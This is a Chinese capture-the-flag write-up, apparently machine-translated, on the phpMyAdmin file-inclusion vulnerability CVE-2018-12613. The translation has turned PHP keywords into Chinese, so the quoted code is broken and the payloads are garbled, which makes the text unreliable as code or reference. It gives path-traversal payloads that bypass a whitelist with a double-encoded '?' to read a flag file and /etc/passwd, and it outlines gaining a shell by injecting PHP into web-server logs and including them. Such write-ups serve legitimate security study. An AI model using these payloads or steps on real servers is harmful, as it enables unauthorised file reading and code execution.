CVE重现-2018-12613按主题

文件包含

蒻姬我最开始接触这个是一道buuoj的网签到题

CVE重现-2018-12613按主题

进入靶机,查看源代码

!DOCTYPE html

html lang='en '

meta charset='UTF-8 '

meta name= ' viewport ' content= ' width=设备宽度,初始比例=1.0 '

元http-equiv='X-UA兼容'内容= ' ie=边缘 '

标题文件/标题

/head

身体

!-source.php-

哈哈。net/2018/11/01/5 BDB 0d 93 DC 794。jpg '//正文

/html

划重点

进入这个php

?php

高亮显示_ FILE(_ _ FILE _ _);

emmm类

{

公共静态函数检查文件($page)

{

$白名单=['来源'= '来源。' PHP ', '提示 '= '提示。PHP '];

如果(!isset($page) ||!is_string($page)) {

回应"你看不见它";

返回错误的

}

如果(in_array($page,$白名单){

返回真;

}

$_page=mb_substr(

$page,

0,

mb_strpos($page ). '? ', '? ')

);

if (in_array($_page,$白名单){

返回真;

}

$ _ page=网址解码($ page);

$_page=mb_substr(

$_page,

0,

mb_strpos($_page . '? ', '? ')

);

if (in_array($_page,$白名单){

返回真;

}

回应"你看不见它";

返回错误的

}

}

如果(!空($_REQUEST['文件'])

is_string($_REQUEST['文件'])

emmm:checkFile检查文件检查文件($_REQUEST['文件'])

){

包括$_REQUEST['文件 ']。

退出;

}其他{

我明白了。net/2018/11/01/5 BDB 0d 93 DC 794。jpg '/ '。

}

再次划重点

如果(!空($_REQUEST['文件'])

is_string($_REQUEST['文件'])

emmm:checkFile检查文件检查文件($_REQUEST['文件'])

){

包括$_REQUEST['文件 ']。

退出;

}其他{

我明白了。net/2018/11/01/5 BDB 0d 93 DC 794。jpg '/ '。

}

有思路了

只要通过这个判断就会执行file传递的参数的文件,想到可能时任意文件包含。

通过引入文件时,引用的文件名,用户可控,由于传入的文件名没有经过合理的校验,或者检验被绕过,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。

再看如果中的判断,文件参数不为空是个字符串通过检查文件方法的检验。去看检查文件方法公共静态函数检查文件(页面)

{

$白名单=['来源'= '来源。' PHP ', '提示 '= '提示。PHP '];

如果(!isset($page) ||!is_string($page)) {

回应"你看不见它";

返回错误的

}

如果(in_array($page,$白名单){

返回真;

}

$_page=mb_substr(

$page,

0,

mb_strpos($page ). '? ', '? ')

);

if (in_array($_page,$白名单){

返回真;

}

$ _ page=网址解码($ page);

$_page=mb_substr(

$_page,

0,

mb_strpos($_page . '? ', '? ')

);

if (in_array($_page,$白名单){

返回真;

}

回应"你看不见它";

返回错误的

}

看,提示。php在白名单里!

$白名单=['来源'= '来源。' PHP ', '提示 '= '提示。PHP '];

如果(!isset($page) ||!is_string($page)) {

回应"你看不见它";

返回错误的

}

进入hint.php看到这样一行提示flag not here, and flag in ffffllllaaaagggg

再回想前面条件,首先必须存在并且是字符串

(必须使函数返回为true才能访问文件)

如果(in_array($page,$白名单){

返回真;

}

$_page=mb_substr(

$page,

0,

mb_strpos($page ). '? ', '? ')

);

if (in_array($_page,$白名单){

返回真;

}

$ _ page=网址解码($ page);

$_page=mb_substr(

$_page,

0,

mb_strpos($_page . '? ', '? ')

);

if (in_array($_page,$白名单){

返回真;

}

回应"你看不见它";

返回错误的

然后判断参数是否在白名单中;

mb_strpos()的作用是查找字符串在另一个字符串中首次出现的位置,即?在前面字符串中出现的位置

而mb_substr()用以截断字符串。

然后和白名单比较。

又重复了一次上面的操作。

这个涉及到phpMyAdmin的一个洞CVE-2018-12613,由于PHP会自动urldecode一次,导致我们提交%253f(?的urlencode的urlencode)的时候自动转成%3f,满足if条件,%253f/就会被认为是一个目录,从而include。就有了下面的转化

? -- %3f -- %253f

payload:文件=提示。PHP % 3f/……/……/……/……/……/ffffllaaaaggg

关于cve-2018-12613-PhpMyadmin后台文件包含

2018年6月19日,phpmyadmin在最新版本修复了一个严重级别的漏洞。

https://www.phpmyadmin.net/security/PMASA-2018-4/

官方漏洞描述是这样的

在4.8.2之前的phpMyAdmin 4.8.x中发现了一个问题,其中攻击者可以包括(查看和潜在的

执行)服务器上的文件。该漏洞来自代码中重定向和加载页面的部分

在phpMyAdmin中,以及对白名单页面的不适当测试。攻击者必须经过身份验证,除非

' $ CFG[' allowarabitraryServer ']=真'的情况(攻击者可以指定他/她已经控制的任何主机,

并在phpMyAdmin上执行任意代码)和'$cfg['服务器默认']=0 '的情况下(这将绕过登录

需求并运行易受攻击的代码,而无需任何身份验证).

问题在index.php的55~63:

//如果我们有一个有效的目标,让我们来加载这个脚本

如果(!空($ _ REQUEST[' target '])

is _ string($ _ REQUEST[' target '])

!preg_match('/^index/',$ _请求“[”目标'])

!in _ array($ _ REQUEST[' target '],$ target u黑名单)

核心:检查页面有效性($_REQUEST['目标'])

){

包括$_REQUEST['目标 ']。

退出;

}

这里对于参数共有5个判断,判断通过就可以通过Include包含文件

问题出在后两个上

$ target _黑名单=数组(

'import.php ','export.php '

);

以及

核心:检查页面有效性($_REQUEST['目标']):

代码在librariesclassesCore.php的443~476:

公共静态函数检查页面有效性(页面,数组$白名单=[))

{

如果(空($白名单){

$白名单=self: $ goto _白名单;

}

如果(!isset($page) ||!is_string($page)) {

返回错误的

}

如果(in_array($page,$白名单){

返回真;

}

$_page=mb_substr(

$page,

0,

mb_strpos($page ). '? ', '? ')

);

if (in_array($_page,$白名单){

返回真;

}

$ _ page=网址解码($ page);

$_page=mb_substr(

$_page,

0,

mb_strpos($_page . '? ', '? ')

);

if (in_array($_page,$白名单){

返回真;

}

返回错误的

}

看,这跟上面的代码几乎是一个模子里刻出来的

然后康康验证的白名单白名单

公共静态$ goto u白名单=数组(

'db_datadict.php ',

'db_sql.php ',

'db_events.php ',

'db_export.php ',

'db_importdocsql.php ',

'db_multi_table_query.php ',

'db_structure.php ',

'db_import.php ',

'db_operations.php ',

'db_search.php ',

'db_routines.php ',

'export.php ',

'import.php ',

'index.php ',

'pdf_pages.php ',

'pdf_schema.php ',

'server_binlog.php ',

'服务器_ collations.php ',

'server_databases.php ',

'server_engines.php ',

'server_export.php ',

'server_import.php ',

'server_privileges.php ',

'server_sql.php ',

'server_status.php ',

'server_status_advisor.php ',

'server_status_monitor.php ',

'服务器状态_ queries.php ',

'server_status_variables.php ',

'server_variables.php ',

'sql.php ',

'tbl_addfield.php ',

'tbl_change.php ',

'tbl_create.php ',

'tbl_import.php ',

'tbl_indexes.php ',

'tbl_sql.php ',

'tbl_export.php ',

'tbl_operations.php ',

'tbl_structure.php ',

'tbl_relation.php ',

'tbl_replace.php ',

'tbl_row_action.php ',

'tbl_select.php ',

'tbl_zoom_select.php ',

'transformation_overview.php ',

'transformation_wrapper.php ',

'user_password.php ',

);

之后phpMyAdmin的开发团队考虑到了目标后面加参数的情况,通过字符串分割将问号的前面部分取出,继续匹配白名单,然后经过一遍urldecode后再重复动作。

得到有效载荷

target=db_datadict.php?/././././././././etc/passwd

此处再次分析胡扯文件包含漏洞的具体产生原因

程序员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,文件调用的过程一般被称为文件包含

他们希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,

但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。

几乎所有脚本语言都会提供文件包含的功能,但文件包含漏洞在网络应用中居多而在JSP、ASP、程序中却非常少,甚至没有,这是本身语言设计的弊端(猜测

Getshell

上传图片GETshell

读取文件,读取php文件

包含日志文件获取webshell

首先找到文件存放位置

有权限读取阿帕奇配置文件或是/etc/init.d/httpd默认位置/var/log/httpd/access_log

让日志文件插入php代码

发送url请求时后插入php代码,一般使用打嗝套房抓包修改卷曲发包

插入到得到请求,或是用户代理部分

包含日志文件(必须要权限包含)

举个栗子

如果设置了($ _ GET[页面]){

包括$ _ GET页面];

}其他{

包含'提示PHP ' .

}

其中$_GET[page]使用户可以控制变量。如果没有严格的过滤就导致漏洞的出现

代码审计

包含文件的函数

包括()

include_once()

要求()

require_once()

参考链接http://cve.mitre.org/cgi-bin/cvename.cgi?姓名=CVE-2018-12613